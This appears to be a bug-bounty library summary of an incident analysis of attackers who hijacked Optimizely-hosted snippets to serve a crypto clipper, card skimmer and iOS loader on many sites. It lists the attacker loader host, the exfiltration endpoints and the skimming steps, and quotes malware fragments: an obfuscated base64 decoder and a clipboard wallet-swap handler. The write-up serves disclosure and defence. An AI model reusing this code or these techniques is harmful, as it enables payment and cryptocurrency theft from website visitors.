# OPTIMJACK: Optimizely-Hosted Scripts Loaded a Crypto Clipper and Card Skimmer on 186 Confirmed Sites

Attacker abused an Optimizely Experimentation signup-flow flaw to inject Project JavaScript into 188 customer snippets, serving a crypto clipper, card skimmer and iOS loader to visitors of CNN, BBC, GitLab and others.

- Payout: Real-world hack
- Severity: high
- Program: Optimizely
- Analysis by: StepSecurity
- Disclosed: 2026-11-16
- Write-up quality: 8/10
- Original: https://www.stepsecurity.io/blog/optimjack-optimizely-hosted-scripts-crypto-clipper-card-skimmer
- Library page: https://bugbountylibrary.com/r/blog%3Astepsecurity-io-blog-optimjack-optimizely-hosted-scripts-crypto-clipper-card-skimmer
- Tags: area:web domain:web impact:data-leak impact:funds-loss impact:mass-exploit kind:incident platform:threat-intel sev:high tech:cdn technique:chained technique:source-review vuln:access-control vuln:info-disclosure vuln:misconfiguration

**Target:** Optimizely Web Experimentation Project JavaScript snippets served from cdn.optimizely.com
**Root cause:** A vulnerability in Optimizely's Experimentation account signup flow let the attacker obtain accounts and inject arbitrary code into the Project JavaScript field, which Optimizely then served from its trusted CDN to every embedding site.
**Steps:**
1. Register/abuse the Experimentation signup flow flaw to gain an account with snippet control.
2. Insert loader into Project JavaScript: a script tag for `https://1688360[.]cc/track.js`.
3. Snippet at `cdn.optimizely.com/js/<project ID>.js` serves the loader to all embedding pages (e.g. GitLab via cdn.cookielaw.org, Mutual of Omaha directly).
4. track.js swaps checksum-valid wallet addresses in text, inputs, copy events, Clipboard API, fetch/XHR bodies.
5. After first swap, load `html2canvas.min.js`, capture JPEG, POST to `/hit.php` with URL, up to 8000 chars of document.cookie and 20 addresses.
6. Skimmer block wraps fetch/XHR and form submits, Luhn+brand+expiry+CVV check, sends to `/card.php` via navigator.sendBeacon, dedupes via sessionStorage `cc_` keys.
7. iOS UA: add boot.js from `.icu` hosts; iOS 18.6 or earlier also hidden iframe `/JIUJIU888/weifile.html`.
**How found:** urlscan.io captured the payload served from 1688360[.]cc to major sites; Helme counted 186 infected sites and attributed to a third-party JS host breach; Amirul Cyber traced 12 of 15 pages to cdn.optimizely.com scripts; authors confirmed the loader chain on GitLab and Mutual of Omaha pages and reviewed track.js statically.
**Exploitation:** Attacker-controlled Optimizely snippets executed with first-party page privileges on 186+ sites for at least 13 hours. Clipper rewrote wallet addresses at copy/paste and in requests so victims paid the attacker; skimmer exfiltrated card number, expiry and CVV from checkout forms outside cross-origin iframes; iOS devices were funneled to a second stage. Wallets received ~$6,600 in BTC/LTC/ETH/TRX.
**Escalation:** Chained vendor-host compromise to mass distribution across hundreds of brands; added iOS exploit stage (DarkSword/Coruna per Helme) for device-level compromise beyond browser data.
**Insight:** Third-party experimentation/personalization snippets are attacker-writable via vendor account flows and run with full first-party privilege; hunt by diffing vendor-hosted snippet contents and Last-Modified, and check CSP reports for blocked requests to unknown hosts as evidence of injected loaders.

## Proof of concept (copied exactly from the original report)

**Injected Optimizely snippet loading track.js**

```
Affected website
 └── Optimizely customer snippet
 └── injected JavaScript
 └── 1688360[.]cc/track.js
 ├── cryptocurrency address clipper
 └── iOS boot.js loader
```

**Reversed base64 decoder executing modules**

```
(new Function(
 atob(encoded.split("").reverse().join(""))
))();

The sample’s decoded modules are 8,501 bytes and 312 bytes respectively.
```

**Copy event handler swapping wallet address**

```
D.addEventListener('copy', function (e) {
 var t = '';
 try { t = String(W.getSelection() || ''); } catch (x) {}
 if (!t || !TS.test(t)) return;
 var o = F(t);
 if (o !== t && e.clipboardData) {
 e.clipboardData.setData('text/plain', o);
 e.preventDefault();
 }
}, true);
```

